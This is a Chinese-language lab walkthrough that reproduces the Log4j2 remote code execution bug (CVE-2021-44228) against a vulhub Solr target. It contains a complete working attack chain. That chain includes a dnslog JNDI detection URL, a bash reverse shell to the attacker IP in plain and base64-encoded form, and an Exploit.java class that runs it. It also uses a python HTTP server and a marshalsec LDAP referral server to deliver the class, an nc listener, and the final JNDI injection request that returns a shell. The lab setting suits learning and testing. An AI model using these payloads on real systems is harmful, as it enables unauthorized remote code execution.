跳转至

log4j2漏洞复现2

1. log4j2远程代码执行漏洞原理

CVE编号: CVE-2021-44228

学习文章:log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客

搭建漏洞复现环境:

系统:ubuntu 21.04 desktop

靶场:vulhub

sudo apt install docker.io -y
sudo apt install docker-compose -y
git clone https://github.com/vulhub/vulhub.git
cd  /home/user/Desktop/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d     #启动靶场,并按照配置文件拉取镜。像生成实例。
docker-compose down     #停止靶场

测试IP网段 192.168.48.0/24

攻击机IP: 192.168.48.131

靶机IP: 192.168.48.147

访问靶场是是否在线 : 192.168.48.147:8983

使用dnslog进行漏洞监测

http://dnslog.cn/
点击Get SubDomain 获取临时域名。

注意别忘了将url中的ip改为靶机ip,注入部分中的t2jt3b.dnslog.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

在浏览器中访问:

http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.t2jt3b.dnslog.cn}
image.png

后台版本如果是java 1.8 可能就存在漏洞。

2.log4j2漏洞复现步骤:

  1. 在攻击机上面写好payload到 → Exploit.java
    payload = bash -i >& /dev/tcp/192.168.48.131/7777 0>&1
    
    使用bash64编码 
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEzMS83Nzc3IDA+JjEKCg==}|{base64,-d}|{bash,-i}
    

image.png

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEzMS83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
javac编译执行Exploit.java 生成Exploit.class 预编译Java字节码。

将Exploit.class放入攻击机的任意一个目录中,在此目录中,打开shell 执行

python -m http.server 4445  //端口随意

访问一下: http://192.168.48.131:4445/ (是否能正常运行)

image.png

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar, 用这个工具建立LDAP服务。

git clone [https://github.com/mbechler/marshalsec](https://github.com/mbechler/marshalsec)
sudo apt-get install maven
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.48.131:4445/#Exploit" 1389
现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。

3.LDAP服务

LDAP 服务LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol),它提供了一种标准化的方式来访问和维护分布式目录服务,如 Active Directory 或 OpenLDAP。LDAP协议基于客户端/服务器模型,并且使用TCP/IP协议通信。

通过LDAP服务,用户可以使用单一凭证登录到多种应用程序和服务。LDAP服务还可以帮助组织中的管理员进行身份验证和授权,以管理组织中的用户和资源。

LDAP服务通常用于企业级环境中。它可以提高用户管理和访问控制的效率,同时也可以提高系统的安全性。通过使用LDAP服务,组织可以实现统一的身份验证和授权机制,简化IT环境的管理。

kali 开启7777端口监听,监听payload反向连接shell。 nc -lvvp 7777 image.png

URL访问payload

[http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://192.168.48.131:1389/Exploit}](http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://192.168.48.131:1389/Exploit})
image.png

拿到反弹shell image.png